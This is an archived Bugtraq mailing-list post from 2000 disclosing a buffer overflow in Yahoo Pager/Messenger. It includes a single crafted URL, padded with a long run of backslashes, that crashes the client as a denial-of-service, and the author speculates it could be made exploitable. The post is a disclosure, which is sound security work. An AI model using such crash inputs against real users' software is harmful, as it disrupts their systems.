Bugtraq mailing list archives

Yahoo Pager/Messanger Buffer Overflow


From: jaynus () GOATRANCE COM (Jaynus Jaynus)
Date: Sun, 16 Jan 2000 22:55:44 -0800

 ('binary' encoding is not supported, stored as-is)
While reading my bugtraq mail, I read over the ICQ overflow that had be found (suprised it came so late) so I was 
curious if this existed in any other clients. Upon testing the below URL, yahoo pager/messenger crashed in the same was 
as ICQ.

http://www.asdf.com/?\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Just a quick little find, I am guessing that it should be easy to push the stack in an exploitable direction, but for 
the time being, it can be used as just a simple DoS attack.

- J a y n u s

 /\___ \
 \/__/\ \     __     __  __    ___   __  __    ____
    _\ \ \  /'__`\  /\ \/\ \ /' _ `\/\ \/\ \  /',__\
   /\ \_\ \/\ \L\.\_\ \ \_\ \/\ \/\ \ \ \_\ \/\__, `\
   \ \____/\ \__/.\_\\/`____ \ \_\ \_\ \____/\/\____/
    \/___/  \/__/\/_/ `/___/> \/_/\/_/\/___/  \/___/
                         /\___/
                         \/__/

------------------------------------------------------------
get yourname () goatrance com from http://www.goatrance.com!
electronic music, mail, trance and downloads at http://www.futuretrance.com


Current thread: